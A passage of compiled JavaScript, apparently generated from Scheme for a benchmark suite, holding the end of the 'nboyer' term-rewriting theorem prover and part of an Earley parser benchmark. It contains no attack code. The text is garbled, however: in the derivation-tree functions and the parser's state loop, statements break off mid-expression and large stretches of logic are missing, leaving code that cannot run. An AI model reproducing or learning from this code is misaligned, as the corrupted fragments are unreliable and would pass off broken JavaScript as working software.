r))); }; (BgL_sc_za2symbolzd2recordszd2alistza2_2z00_nboyer = null); translate_alist_nboyer = function(alist) { var sc_alist_6; var term; return ((alist === null)?null:(new sc_Pair((new sc_Pair((alist.car.car), ((term = (alist.car.cdr)), (!(term instanceof sc_Pair)?term:(new sc_Pair((BgL_sc_symbolzd2ze3symbolzd2record_1ze3_nboyer((term.car))), (translate_args_nboyer((term.cdr))))))))), ((sc_alist_6 = (alist.cdr)), ((sc_alist_6 === null)?null:(new sc_Pair((new sc_Pair((sc_alist_6.car.car), (translate_term_nboyer((sc_alist_6.car.cdr))))), (translate_alist_nboyer((sc_alist_6.cdr)))))))))); }; apply_subst_nboyer = function(alist, term) { var lst; var temp_temp; return (!(term instanceof sc_Pair)?((temp_temp = (sc_assq(term, alist))), ((temp_temp!== false)?(temp_temp.cdr):term)):(new sc_Pair((term.car), ((lst = (term.cdr)), ((lst === null)?null:(new sc_Pair((apply_subst_nboyer(alist, (lst.car))), (apply_subst_lst_nboyer(alist, (lst.cdr)))))))))); }; apply_subst_lst_nboyer = function(alist, lst) { var sc_lst_7; return ((lst === null)?null:(new sc_Pair((apply_subst_nboyer(alist, (lst.car))), ((sc_lst_7 = (lst.cdr)), ((sc_lst_7 === null)?null:(new sc_Pair((apply_subst_nboyer(alist, (sc_lst_7.car))), (apply_subst_lst_nboyer(alist, (sc_lst_7.cdr)))))))))); }; tautologyp_nboyer = function(sc_x_11, true_lst, false_lst) { var tmp1125; var x; var tmp1126; var sc_x_8; var sc_tmp1125_9; var sc_tmp1126_10; var sc_x_11; var true_lst; var false_lst; while (true) { if ((((sc_tmp1126_10 = (is_term_equal_nboyer(sc_x_11, true_term_nboyer))), ((sc_tmp1126_10!== false)?sc_tmp1126_10:(is_term_member_nboyer(sc_x_11, true_lst))))!== false)) return true; else if ((((sc_tmp1125_9 = (is_term_equal_nboyer(sc_x_11, false_term_nboyer))), ((sc_tmp1125_9!== false)?sc_tmp1125_9:(is_term_member_nboyer(sc_x_11, false_lst))))!== false)) return false; else if (!(sc_x_11 instanceof sc_Pair)) return false; else if (((sc_x_11.car)===if_constructor_nboyer)) if ((((sc_x_8 = (sc_x_11.cdr.car)), (tmp1126 = (is_term_equal_nboyer(sc_x_8, true_term_nboyer))), ((tmp1126!== false)?tmp1126:(is_term_member_nboyer(sc_x_8, true_lst))))!== false)) (sc_x_11 = (sc_x_11.cdr.cdr.car)); else if ((((x = (sc_x_11.cdr.car)), (tmp1125 = (is_term_equal_nboyer(x, false_term_nboyer))), ((tmp1125!== false)?tmp1125:(is_term_member_nboyer(x, false_lst))))!== false)) (sc_x_11 = (sc_x_11.cdr.cdr.cdr.car)); else if (((tautologyp_nboyer((sc_x_11.cdr.cdr.car), (new sc_Pair((sc_x_11.cdr.car), true_lst)), false_lst))!== false)) { (false_lst = (new sc_Pair((sc_x_11.cdr.car), false_lst))); (sc_x_11 = (sc_x_11.cdr.cdr.cdr.car)); } else return false; else return false; } }; (if_constructor_nboyer = "\u1E9C*"); (rewrite_count_nboyer = (0)); rewrite_nboyer = function(term) { var term2; var sc_term_12; var lst; var symbol_record; var sc_lst_13; { (++rewrite_count_nboyer); if (!(term instanceof sc_Pair)) return term; else { (sc_term_12 = (new sc_Pair((term.car), ((sc_lst_13 = (term.cdr)), ((sc_lst_13 === null)?null:(new sc_Pair((rewrite_nboyer((sc_lst_13.car))), (rewrite_args_nboyer((sc_lst_13.cdr)))))))))); (lst = ((symbol_record = (term.car)), (symbol_record[(1)]))); while (true) { if ((lst === null)) return sc_term_12; else if ((((term2 = ((lst.car).cdr.car)), (unify_subst_nboyer = null), (one_way_unify1_nboyer(sc_term_12, term2)))!== false)) return (rewrite_nboyer((apply_subst_nboyer(unify_subst_nboyer, ((lst.car).cdr.cdr.car))))); else (lst = (lst.cdr)); } } } }; rewrite_args_nboyer = function(lst) { var sc_lst_14; return ((lst === null)?null:(new sc_Pair((rewrite_nboyer((lst.car))), ((sc_lst_14 = (lst.cdr)), ((sc_lst_14 === null)?null:(new sc_Pair((rewrite_nboyer((sc_lst_14.car))), (rewrite_args_nboyer((sc_lst_14.cdr)))))))))); }; (unify_subst_nboyer = "\u1E9C*"); one_way_unify1_nboyer = function(term1, term2) { var lst1; var lst2; var temp_temp; if (!(term2 instanceof sc_Pair)) { (temp_temp = (sc_assq(term2, unify_subst_nboyer))); if ((temp_temp!== false)) return (is_term_equal_nboyer(term1, (temp_temp.cdr))); else if ((sc_isNumber(term2))) return (sc_isEqual(term1, term2)); else { (unify_subst_nboyer = (new sc_Pair((new sc_Pair(term2, term1)), unify_subst_nboyer))); return true; } } else if (!(term1 instanceof sc_Pair)) return false; else if (((term1.car)===(term2.car))) { (lst1 = (term1.cdr)); (lst2 = (term2.cdr)); while (true) { if ((lst1 === null)) return (lst2 === null); else if ((lst2 === null)) return false; else if (((one_way_unify1_nboyer((lst1.car), (lst2.car)))!== false)) { (lst1 = (lst1.cdr)); (lst2 = (lst2.cdr)); } else return false; } } else return false; }; (false_term_nboyer = "\u1E9C*"); (true_term_nboyer = "\u1E9C*"); trans_of_implies1_nboyer = function(n) { var sc_n_15; return ((sc_isEqual(n, (1)))?(sc_list("\u1E9Cimplies", (0), (1))):(sc_list("\u1E9Cand", (sc_list("\u1E9Cimplies", (n-(1)), n)), ((sc_n_15 = (n-(1))), ((sc_isEqual(sc_n_15, (1)))?(sc_list("\u1E9Cimplies", (0), (1))):(sc_list("\u1E9Cand", (sc_list("\u1E9Cimplies", (sc_n_15-(1)), sc_n_15)), (trans_of_implies1_nboyer((sc_n_15-(1))))))))))); }; is_term_equal_nboyer = function(x, y) { var lst1; var lst2; var r2; var r1; if ((x instanceof sc_Pair)) if ((y instanceof sc_Pair)) if ((((r1 = (x.car)), (r2 = (y.car)), (r1===r2))!== false)) { (lst1 = (x.cdr)); (lst2 = (y.cdr)); while (true) { if ((lst1 === null)) return (lst2 === null); else if ((lst2 === null)) return false; else if (((is_term_equal_nboyer((lst1.car), (lst2.car)))!== false)) { (lst1 = (lst1.cdr)); (lst2 = (lst2.cdr)); } else return false; } } else return false; else return false; else return (sc_isEqual(x, y)); }; is_term_member_nboyer = function(x, lst) { var x; var lst; while (true) { if ((lst === null)) return false; else if (((is_term_equal_nboyer(x, (lst.car)))!== false)) return true; else (lst = (lst.cdr)); } }; BgL_setupzd2boyerzd2 = function() { var symbol_record; var value; var BgL_sc_symbolzd2record_16zd2; var sym; var sc_sym_17; var term; var lst; var sc_term_18; var sc_term_19; { (BgL_sc_za2symbolzd2recordszd2alistza2_2z00_nboyer = null); (if_constructor_nboyer = (BgL_sc_symbolzd2ze3symbolzd2record_1ze3_nboyer("\u1E9Cif"))); (false_term_nboyer = ((sc_term_19 = (new sc_Pair("\u1E9Cf",null))), (!(sc_term_19 instanceof sc_Pair)?sc_term_19:(new sc_Pair((BgL_sc_symbolzd2ze3symbolzd2record_1ze3_nboyer((sc_term_19.car))), (translate_args_nboyer((sc_term_19.cdr)))))))); (true_term_nboyer = ((sc_term_18 = (new sc_Pair("\u1E9Ct",null))), (!(sc_term_18 instanceof sc_Pair)?sc_term_18:(new sc_Pair((BgL_sc_symbolzd2ze3symbolzd2record_1ze3_nboyer((sc_term_18.car))), (translate_args_nboyer((sc_term_18.cdr)))))))); (lst = sc_const_3_nboyer); while (!(lst === null)) { { (term = (lst.car)); if (((term instanceof sc_Pair)&&(((term.car)==="\u1E9Cequal")&&((term.cdr.car) instanceof sc_Pair)))) { (sc_sym_17 = ((term.cdr.car).car)); (value = (new sc_Pair((!(term instanceof sc_Pair)?term:(new sc_Pair((BgL_sc_symbolzd2ze3symbolzd2record_1ze3_nboyer((term.car))), (translate_args_nboyer((term.cdr)))))), ((sym = ((term.cdr.car).car)), (BgL_sc_symbolzd2record_16zd2 = (BgL_sc_symbolzd2ze3symbolzd2record_1ze3_nboyer(sym))), (BgL_sc_symbolzd2record_16zd2[(1)]))))); (symbol_record = (BgL_sc_symbolzd2ze3symbolzd2record_1ze3_nboyer(sc_sym_17))); (symbol_record[(1)] = value); } else (sc_error("ADD-LEMMA did not like term: ", term)); (lst = (lst.cdr)); } } return true; } }; BgL_testzd2boyerzd2 = function(n) { var optrOpnd; var term; var sc_n_20; var answer; var sc_term_21; var sc_term_22; { (rewrite_count_nboyer = (0)); (term = sc_const_4_nboyer); (sc_n_20 = n); while (!(sc_n_20=== 0)) { { (term = (sc_list("\u1E9Cor", term, (new sc_Pair("\u1E9Cf",null))))); (--sc_n_20); } } (sc_term_22 = term); if (!(sc_term_22 instanceof sc_Pair)) (optrOpnd = sc_term_22); else (optrOpnd = (new sc_Pair((BgL_sc_symbolzd2ze3symbolzd2record_1ze3_nboyer((sc_term_22.car))), (translate_args_nboyer((sc_term_22.cdr)))))); (sc_term_21 = (apply_subst_nboyer(((const_nboyer === null)?null:(new sc_Pair((new sc_Pair((const_nboyer.car.car), (translate_term_nboyer((const_nboyer.car.cdr))))), (translate_alist_nboyer((const_nboyer.cdr)))))), optrOpnd))); (answer = (tautologyp_nboyer((rewrite_nboyer(sc_term_21)), null, null))); (sc_write(rewrite_count_nboyer)); (sc_display(" rewrites")); (sc_newline()); if ((answer!== false)) return rewrite_count_nboyer; else return false; } }; } /* Exported Variables */ var BgL_parsezd2ze3nbzd2treesze3; var BgL_earleyzd2benchmarkzd2; var BgL_parsezd2ze3parsedzf3zc2; var test; var BgL_parsezd2ze3treesz31; var BgL_makezd2parserzd2; /* End Exports */ var const_earley; { (const_earley = (new sc_Pair((new sc_Pair("\u1E9Cs",(new sc_Pair((new sc_Pair("\u1E9Ca",null)),(new sc_Pair((new sc_Pair("\u1E9Cs",(new sc_Pair("\u1E9Cs",null)))),null)))))),null))); BgL_makezd2parserzd2 = function(grammar, lexer) { var i; var parser_descr; var def_loop; var nb_nts; var names; var steps; var predictors; var enders; var starters; var nts; var sc_names_1; var sc_steps_2; var sc_predictors_3; var sc_enders_4; var sc_starters_5; var nb_confs; var BgL_sc_defzd2loop_6zd2; var BgL_sc_nbzd2nts_7zd2; var sc_nts_8; var BgL_sc_defzd2loop_9zd2; var ind; { ind = function(nt, sc_nts_10) { var i; { (i = ((sc_nts_10.length)-(1))); while (true) { if ((i>=(0))) if ((sc_isEqual((sc_nts_10[i]), nt))) return i; else (--i); else return false; } } }; (sc_nts_8 = ((BgL_sc_defzd2loop_9zd2 = function(defs, sc_nts_11) { var rule_loop; var head; var def; return ((defs instanceof sc_Pair)?((def = (defs.car)), (head = (def.car)), (rule_loop = function(rules, sc_nts_12) { var nt; var l; var sc_nts_13; var rule; if ((rules instanceof sc_Pair)) { (rule = (rules.car)); (l = rule); (sc_nts_13 = sc_nts_12); while ((l instanceof sc_Pair)) { { (nt = (l.car)); (l = (l.cdr)); (sc_nts_13 = (((sc_member(nt, sc_nts_13))!== false)?sc_nts_13:(new sc_Pair(nt, sc_nts_13)))); } } return (rule_loop((rules.cdr), sc_nts_13)); } else return (BgL_sc_defzd2loop_9zd2((defs.cdr), sc_nts_12)); }), (rule_loop((def.cdr), (((sc_member(head, sc_nts_11))!== false)?sc_nts_11:(new sc_Pair(head, sc_nts_11)))))):(sc_list2vector((sc_reverse(sc_nts_11))))); }), (BgL_sc_defzd2loop_9zd2(grammar, null)))); (BgL_sc_nbzd2nts_7zd2 = (sc_nts_8.length)); (nb_confs = (((BgL_sc_defzd2loop_6zd2 = function(defs, BgL_sc_nbzd2confs_14zd2) { var rule_loop; var def; return ((defs instanceof sc_Pair)?((def = (defs.car)), (rule_loop = function(rules, BgL_sc_nbzd2confs_15zd2) { var l; var BgL_sc_nbzd2confs_16zd2; var rule; if ((rules instanceof sc_Pair)) { (rule = (rules.car)); (l = rule); (BgL_sc_nbzd2confs_16zd2 = BgL_sc_nbzd2confs_15zd2); while ((l instanceof sc_Pair)) { { (l = (l.cdr)); (++BgL_sc_nbzd2confs_16zd2); } } return (rule_loop((rules.cdr), (BgL_sc_nbzd2confs_16zd2+(1)))); } else return (BgL_sc_defzd2loop_6zd2((defs.cdr), BgL_sc_nbzd2confs_15zd2)); }), (rule_loop((def.cdr), BgL_sc_nbzd2confs_14zd2))):BgL_sc_nbzd2confs_14zd2); }), (BgL_sc_defzd2loop_6zd2(grammar, (0))))+BgL_sc_nbzd2nts_7zd2)); (sc_starters_5 = (sc_makeVector(BgL_sc_nbzd2nts_7zd2, null))); (sc_enders_4 = (sc_makeVector(BgL_sc_nbzd2nts_7zd2, null))); (sc_predictors_3 = (sc_makeVector(BgL_sc_nbzd2nts_7zd2, null))); (sc_steps_2 = (sc_makeVector(nb_confs, false))); (sc_names_1 = (sc_makeVector(nb_confs, false))); (nts = sc_nts_8); (starters = sc_starters_5); (enders = sc_enders_4); (predictors = sc_predictors_3); (steps = sc_steps_2); (names = sc_names_1); (nb_nts = (sc_nts_8.length)); (i = (nb_nts-(1))); while ((i>=(0))) { { (sc_steps_2[i] = (i-nb_nts)); (sc_names_1[i] = (sc_list((sc_nts_8[i]), (0)))); (sc_enders_4[i] = (sc_list(i))); (--i); } } def_loop = function(defs, conf) { var rule_loop; var head; var def; return ((defs instanceof sc_Pair)?((def = (defs.car)), (head = (def.car)), (rule_loop = function(rules, conf, rule_num) { var i; var sc_i_17; var nt; var l; var sc_conf_18; var sc_i_19; var rule; if ((rules instanceof sc_Pair)) { (rule = (rules.car)); (names[conf] = (sc_list(head, rule_num))); (sc_i_19 = (ind(head, nts))); (starters[sc_i_19] = (new sc_Pair(conf, (starters[sc_i_19])))); (l = rule); (sc_conf_18 = conf); while ((l instanceof sc_Pair)) { { (nt = (l.car)); (steps[sc_conf_18] = (ind(nt, nts))); (sc_i_17 = (ind(nt, nts))); (predictors[sc_i_17] = (new sc_Pair(sc_conf_18, (predictors[sc_i_17])))); (l = (l.cdr)); (++sc_conf_18); } } (steps[sc_conf_18] = ((ind(head, nts))-nb_nts)); (i = (ind(head, nts))); (enders[i] = (new sc_Pair(sc_conf_18, (enders[i])))); return (rule_loop((rules.cdr), (sc_conf_18+(1)), (rule_num+(1)))); } else return (def_loop((defs.cdr), conf)); }), (rule_loop((def.cdr), conf, (1)))):undefined); }; (def_loop(grammar, (sc_nts_8.length))); (parser_descr = [lexer, sc_nts_8, sc_starters_5, sc_enders_4, sc_predictors_3, sc_steps_2, sc_names_1]); return function(input) { var optrOpnd; var sc_optrOpnd_20; var sc_optrOpnd_21; var sc_optrOpnd_22; var loop1; var BgL_sc_stateza2_23za2; var toks; var BgL_sc_nbzd2nts_24zd2; var sc_steps_25; var sc_enders_26; var state_num; var BgL_sc_statesza2_27za2; var states; var i; var conf; var l; var tok_nts; var sc_i_28; var sc_i_29; var l1; var l2; var tok; var tail1129; var L1125; var goal_enders; var BgL_sc_statesza2_30za2; var BgL_sc_nbzd2nts_31zd2; var BgL_sc_nbzd2confs_32zd2; var nb_toks; var goal_starters; var sc_states_33; var BgL_sc_nbzd2confs_34zd2; var BgL_sc_nbzd2toks_35zd2; var sc_toks_36; var falseHead1128; var sc_names_37; var sc_steps_38; var sc_predictors_39; var sc_enders_40; var sc_starters_41; var sc_nts_42; var lexer; var sc_ind_43; var make_states; var BgL_sc_confzd2setzd2getza2_44za2; var conf_set_merge_new_bang; var conf_set_adjoin; var BgL_sc_confzd2setzd2adjoinza2_45za2; var BgL_sc_confzd2setzd2adjoinza2za2_46z00; var conf_set_union; var forw; var is_parsed; var deriv_trees; var BgL_sc_derivzd2treesza2_47z70; var nb_deriv_trees; var BgL_sc_nbzd2derivzd2treesza2_48za2; { sc_ind_43 = function(nt, sc_nts_49) { var i; { (i = ((sc_nts_49.length)-(1))); while (true) { if ((i>=(0))) if ((sc_isEqual((sc_nts_49[i]), nt))) return i; else (--i); else return false; } } }; make_states = function(BgL_sc_nbzd2toks_50zd2, BgL_sc_nbzd2confs_51zd2) { var v; var i; var sc_states_52; { (sc_states_52 = (sc_makeVector((BgL_sc_nbzd2toks_50zd2+(1)), false))); (i = BgL_sc_nbzd2toks_50zd2); while ((i>=(0))) { { (v = (sc_makeVector((BgL_sc_nbzd2confs_51zd2+(1)), false))); (v[(0)] = (-1)); (sc_states_52[i] = v); (--i); } } return sc_states_52; } }; BgL_sc_confzd2setzd2getza2_44za2 = function(state, BgL_sc_statezd2num_53zd2, sc_conf_54) { var conf_set; var BgL_sc_confzd2set_55zd2; return ((BgL_sc_confzd2set_55zd2 = (state[(sc_conf_54+(1))])), ((BgL_sc_confzd2set_55zd2!== false)?BgL_sc_confzd2set_55zd2:((conf_set = (sc_makeVector((BgL_sc_statezd2num_53zd2+(6)), false))), (conf_set[(1)] = (-3)), (conf_set[(2)] = (-1)), (conf_set[(3)] = (-1)), (conf_set[(4)] = (-1)), (state[(sc_conf_54+(1))] = conf_set), conf_set))); }; conf_set_merge_new_bang = function(conf_set) { return ((conf_set[((conf_set[(1)])+(5))] = (conf_set[(4)])), (conf_set[(1)] = (conf_set[(3)])), (conf_set[(3)] = (-1)), (conf_set[(4)] = (-1))); }; conf_set_adjoin = function(state, conf_set, sc_conf_56, i) { var tail; return ((tail = (conf_set[(3)])), (conf_set[(i+(5))] = (-1)), (conf_set[(tail+(5))] = i), (conf_set[(3)] = i), ((tail<(0))?((conf_set[(0)] = (state[(0)])), (state[(0)] = sc_conf_56)):undefined)); }; BgL_sc_confzd2setzd2adjoinza2_45za2 = function(sc_states_57, BgL_sc_statezd2num_58zd2, l, i) { var conf_set; var sc_conf_59; var l1; var state; { (state = (sc_states_57[BgL_sc_statezd2num_58zd2])); (l1 = l); while ((l1 instanceof sc_Pair)) { { (sc_conf_59 = (l1.car)); (conf_set = (BgL_sc_confzd2setzd2getza2_44za2(state, BgL_sc_statezd2num_58zd2, sc_conf_59))); if (((conf_set[(i+(5))])=== false)) { (conf_set_adjoin(state, conf_set, sc_conf_59, i)); (l1 = (l1.cdr)); } else (l1 = (l1.cdr)); } } return undefined; } }; BgL_sc_confzd2setzd2adjoinza2za2_46z00 = function(sc_states_60, BgL_sc_statesza2_61za2, BgL_sc_statezd2num_62zd2, sc_conf_63, i) { var BgL_sc_confzd2setza2_64z70; var BgL_sc_stateza2_65za2; var conf_set; var state; return ((state = (sc_states_60[BgL_sc_statezd2num_62zd2])), ((((conf_set = (state[(sc_conf_63+(1))])), ((conf_set!== false)?(conf_set[(i+(5))]):false))!== false)?((BgL_sc_stateza2_65za2 = (BgL_sc_statesza2_61za2[BgL_sc_statezd2num_62zd2])), (BgL_sc_confzd2setza2_64z70 = (BgL_sc_confzd2setzd2getza2_44za2(BgL_sc_stateza2_65za2, BgL_sc_statezd2num_62zd2, sc_conf_63))), (((BgL_sc_confzd2setza2_64z70[(i+(5))])=== false)?(conf_set_adjoin(BgL_sc_stateza2_65za2, BgL_sc_confzd2setza2_64z70, sc_conf_63, i)):undefined), true):false)); }; conf_set_union = function(state, conf_set, sc_conf_66, other_set) { var i; { (i = (other_set[(2)])); while ((i>=(0))) { if (((conf_set[(i+(5))])=== false)) { (conf_set_adjoin(state, conf_set, sc_conf_66, i)); (i = (other_set[(i+(5))])); } else (i = (other_set[(i+(5))])); } return undefined; } }; forw = function(sc_states_67, BgL_sc_statezd2num_68zd2, sc_starters_69, sc_enders_70, sc_predictors_71, sc_steps_72, sc_nts_73) { var next_set; var next; var conf_set; var ender; var l; var starter_set; var starter; var sc_l_74; var sc_loop1_75; var head; var BgL_sc_confzd2set_76zd2; var BgL_sc_statezd2num_77zd2; var state; var sc_states_78; var preds; var BgL_sc_confzd2set_79zd2; var step; var sc_conf_80; var BgL_sc_nbzd2nts_81zd2; var sc_state_82; { (sc_state_82 = (sc_states_67[BgL_sc_statezd2num_68zd2])); (BgL_sc_nbzd2nts_81zd2 = (sc_nts_73.length)); while (true) { { (sc_conf_80 = (sc_state_82[(0)])); if ((sc_conf_80>=(0))) { (step = (sc_steps_72[sc_conf_80])); (BgL_sc_confzd2set_79zd2 = (sc_state_82[(sc_conf_80+(1))])); (head = (BgL_sc_confzd2set_79zd2[(4)])); (sc_state_82[(0)] = (BgL_sc_confzd2set_79zd2[(0)])); (conf_set_merge_new_bang(BgL_sc_confzd2set_79zd2)); if ((step>=(0))) { (sc_l_74 = (sc_starters_69[step])); while ((sc_l_74 instanceof sc_Pair)) { { (starter = (sc_l_74.car)); (starter_set = (BgL_sc_confzd2setzd2getza2_44za2(sc_state_82, BgL_sc_statezd2num_68zd2, starter))); if (((starter_set[(BgL_sc_statezd2num_68zd2+(5))])=== false)) { (conf_set_adjoin(sc_state_82, starter_set, starter, BgL_sc_statezd2num_68zd2)); (sc_l_74 = (sc_l_74.cdr)); } else (sc_l_74 = (sc_l_74.cdr)); } } (l = (sc_enders_70[step])); while ((l instanceof sc_Pair)) { { (ender = (l.car)); if ((((conf_set = (sc_state_82[(ender+(1))])), ((conf_set!== false)?(conf_set[(BgL_sc_statezd2num_68zd2+(5))]):false))!== false)) { (next = (sc_conf_80+(1))); (next_set = (BgL_sc_confzd2setzd2getza2_44za2(sc_state_82, BgL_sc_statezd2num_68zd2, next))); (conf_set_union(sc_state_82, next_set, next, BgL_sc_confzd2set_79zd2)); (l = (l.cdr)); } else (l = (l.cdr)); } } } else { (preds = (sc_predictors_71[(step+BgL_sc_nbzd2nts_81zd2)])); (sc_states_78 = sc_states_67); (state = sc_state_82); (BgL_sc_statezd2num_77zd2 = BgL_sc_statezd2num_68zd2); (BgL_sc_confzd2set_76zd2 = BgL_sc_confzd2set_79zd2); sc_loop1_75 = function(l) { var sc_state_83; var BgL_sc_nextzd2set_84zd2; var sc_next_85; var pred_set; var i; var pred; if ((l instanceof sc_Pair)) { (pred = (l.car)); (i = head); while ((i>=(0))) { { (pred_set = ((sc_state_83 = (sc_states_78[i])), (sc_state_83[(pred+(1))]))); if ((pred_set!== false)) { (sc_next_85 = (pred+(1))); (BgL_sc_nextzd2set_84zd2 = (BgL_sc_confzd2setzd2getza2_44za2(state, BgL_sc_statezd2num_77zd2, sc_next_85))); (conf_set_union(state, BgL_sc_nextzd2set_84zd2, sc_next_85, pred_set)); } (i = (BgL_sc_confzd2set_76zd2[(i+(5))])); } } return (sc_loop1_75((l.cdr))); } else return undefined; }; (sc_loop1_75(preds)); } } else return undefined; } } } }; is_parsed = function(nt, i, j, sc_nts_86, sc_enders_87, sc_states_88) { var conf_set; var state; var sc_conf_89; var l; var BgL_sc_ntza2_90za2; { (BgL_sc_ntza2_90za2 = (sc_ind_43(nt, sc_nts_86))); if ((BgL_sc_ntza2_90za2!== false)) { (sc_nts_86.length); (l = (sc_enders_87[BgL_sc_ntza2_90za2])); while (true) { if ((l instanceof sc_Pair)) { (sc_conf_89 = (l.car)); if ((((state = (sc_states_88[j])), (conf_set = (state[(sc_conf_89+(1))])), ((conf_set!== false)?(conf_set[(i+(5))]):false))!== false)) return true; else (l = (l.cdr)); } else return false; } } else return false; } }; deriv_trees = function(sc_conf_91, i, j, sc_enders_92, sc_steps_93, sc_names_94, sc_toks_95, sc_states_96, BgL_sc_nbzd2nts_97zd2) { var sc_loop1_98; var prev; var name; return ((name = (sc_names_94[sc_conf_91])), ((name!== false)?((sc_conf_91=(0))) if (((k>=i)&&(((sc_state_99 = (sc_states_96[k])), (conf_set = (sc_state_99[(prev+(1))])), ((conf_set!== false)?(conf_set[(i+(5))]):false))!== false))) { (prev_trees = (deriv_trees(prev, i, k, sc_enders_92, sc_steps_93, sc_names_94, sc_toks_95, sc_states_96, BgL_sc_nbzd2nts_97zd2))); (ender_trees = (deriv_trees(ender, k, j, sc_enders_92, sc_steps_93, sc_names_94, sc_toks_95, sc_states_96, BgL_sc_nbzd2nts_97zd2))); loop3 = function(l3, l2) { var l4; var sc_l2_100; var ender_tree; if ((l3 instanceof sc_Pair)) { (ender_tree = (sc_list((l3.car)))); (l4 = prev_trees); (sc_l2_100 = l2); while ((l4 instanceof sc_Pair)) { { (sc_l2_100 = (new sc_Pair((sc_append((l4.car), ender_tree)), sc_l2_100))); (l4 = (l4.cdr)); } } return (loop3((l3.cdr), sc_l2_100)); } else return (loop2((ender_set[(k+(5))]), l2)); }; return (loop3(ender_trees, l2)); } else (k = (ender_set[(k+(5))])); else return (sc_loop1_98((l1.cdr), l2)); } }; return (loop2((ender_set[(2)]), l2)); } else (l1 = (l1.cdr)); } else return l2; } }), (sc_loop1_98((sc_enders_92[(sc_steps_93[prev])]), null))))); }; BgL_sc_derivzd2treesza2_47z70 = function(nt, i, j, sc_nts_101, sc_enders_102, sc_steps_103, sc_names_104, sc_toks_105, sc_states_106) { var conf_set; var state; var sc_conf_107; var l; var trees; var BgL_sc_nbzd2nts_108zd2; var BgL_sc_ntza2_109za2; { (BgL_sc_ntza2_109za2 = (sc_ind_43(nt, sc_nts_101))); if ((BgL_sc_ntza2_109za2!== false)) { (BgL_sc_nbzd2nts_108zd2 = (sc_nts_101.length)); (l = (sc_enders_102[BgL_sc_ntza2_109za2])); (trees = null); while ((l instanceof sc_Pair)) { { (sc_conf_107 = (l.car)); if ((((state = (sc_states_106[j])), (conf_set = (state[(sc_conf_107+(1))])), ((conf_set!== false)?(conf_set[(i+(5))]):false))!== false)) { (l = (l.cdr)); (trees = (sc_append((deriv_trees(sc_conf_107, i, j, sc_enders_102, sc_steps_103, sc_names_104, sc_toks_105, sc_states_106, BgL_sc_nbzd2nts_108zd2)), trees))); } else (l = (l.cdr)); } } return trees; } else return false; } }; nb_deriv_trees = function(sc_conf_110, i, j, sc_enders_111, sc_steps_112, sc_toks_113, sc_states_114, BgL_sc_nbzd2nts_115zd2) { var sc_loop1_116; var tmp1124; var prev; return ((prev = (sc_conf_110-(1))), ((((tmp1124 = (sc_conf_110=(0))) { if (((k>=i)&&(((state = (sc_states_114[k])), (conf_set = (state[(prev+(1))])), ((conf_set!== false)?(conf_set[(i+(5))]):false))!== false))) { (nb_prev_trees = (nb_deriv_trees(prev, i, k, sc_enders_111, sc_steps_112, sc_toks_113, sc_states_114, BgL_sc_nbzd2nts_115zd2))); (nb_ender_trees = (nb_deriv_trees(ender, k, j, sc_enders_111, sc_steps_112, sc_toks_113, sc_states_114, BgL_sc_nbzd2nts_115zd2))); (k = (ender_set[(k+(5))])); (n +=(nb_prev_trees*nb_ender_trees)); } else (k = (ender_set[(k+(5))])); } return (sc_loop1_116((l.cdr), n)); } else (l = (l.cdr)); } else return sc_n_118; } }), (sc_loop1_116((sc_enders_111[(sc_steps_112[prev])]), (0)))))); }; BgL_sc_nbzd2derivzd2treesza2_48za2 = function(nt, i, j, sc_nts_119, sc_enders_120, sc_steps_121, sc_toks_122, sc_states_123) { var conf_set; var state; var sc_conf_124; var l; var nb_trees; var BgL_sc_nbzd2nts_125zd2; var BgL_sc_ntza2_126za2; { (BgL_sc_ntza2_126za2 = (sc_ind_43(nt, sc_nts_119))); if ((BgL_sc_ntza2_126za2!== false)) { (BgL_sc_nbzd2nts_125zd2 = (sc_nts_119.length)); (l = (sc_enders_120[BgL_sc_ntza2_126za2])); (nb_trees = (0)); while ((l instanceof sc_Pair)) { { (sc_conf_124 = (l.car)); if ((((state = (sc_states_123[j])), (conf_set = (state[(sc_conf_124+(1))])), ((conf_set!== false)?(conf_set[(i+(5))]):false))!== false)) { (l = (l.cdr)); (nb_trees = ((nb_deriv_trees(sc_conf_124, i, j, sc_enders_120, sc_steps_121, sc_toks_122, sc_states_123, BgL_sc_nbzd2nts_125zd2))+nb_trees)); } else (l = (l.cdr)); } } return nb_trees; } else return false; } }; (lexer = (parser_descr[(0)])); (sc_nts_42 = (parser_descr[(1)])); (sc_starters_41 = (parser_descr[(2)])); (sc_enders_40 = (parser_descr[(3)])); (sc_predictors_39 = (parser_descr[(4)])); (sc_steps_38 = (parser_descr[(5)])); (sc_names_37 = (parser_descr[(6)])); (falseHead1128 = (new sc_Pair(null, null))); (L1125 = (lexer(input))); (tail1129 = falseHead1128); while (!(L1125 === null)) { { (tok = (L1125.car)); (l1 = (tok.cdr)); (l2 = null); while ((l1 instanceof sc_Pair)) { { (sc_i_29 = (sc_ind_43((l1.car), sc_nts_42))); if ((sc_i_29!== false)) { (l1 = (l1.cdr)); (l2 = (new sc_Pair(sc_i_29, l2))); } else (l1 = (l1.cdr)); } } (sc_optrOpnd_22 = (new sc_Pair((tok.car), (sc_reverse(l2))))); (sc_optrOpnd_21 = (new sc_Pair(sc_optrOpnd_22, null))); (tail1129.cdr = sc_optrOpnd_21); (tail1129 = (tail1129.cdr)); (L1125 = (L1125.cdr)); } } (sc_optrOpnd_20 = (falseHead1128.cdr)); (sc_toks_36 = (sc_list2vector(sc_optrOpnd_20))); (BgL_sc_nbzd2toks_35zd2 = (sc_toks_36.length)); (BgL_sc_nbzd2confs_34zd2 = (sc_steps_38.length)); (sc_states_33 = (make_states(BgL_sc_nbzd2toks_35zd2, BgL_sc_nbzd2confs_34zd2))); (goal_starters = (sc_starters_41[(0)])); (BgL_sc_confzd2setzd2adjoinza2_45za2(sc_states_33, (0), goal_starters, (0))); (forw(sc_states_33, (0), sc_starters_41, sc_enders_40, sc_predictors_39, sc_steps_38, sc_nts_42)); (sc_i_28 = (0)); while ((sc_i_28=(0))) { { (states = sc_states_33); (BgL_sc_statesza2_27za2 = BgL_sc_statesza2_30za2); (state_num = i); (sc_enders_26 = sc_enders_40); (sc_steps_25 = sc_steps_38); (BgL_sc_nbzd2nts_24zd2 = BgL_sc_nbzd2nts_31zd2); (toks = sc_toks_36); (BgL_sc_stateza2_23za2 = (BgL_sc_statesza2_30za2[i])); loop1 = function() { var sc_loop1_127; var prev; var BgL_sc_statesza2_128za2; var sc_states_129; var j; var i; var sc_i_130; var head; var conf_set; var sc_conf_131; { (sc_conf_131 = (BgL_sc_stateza2_23za2[(0)])); if ((sc_conf_131>=(0))) { (conf_set = 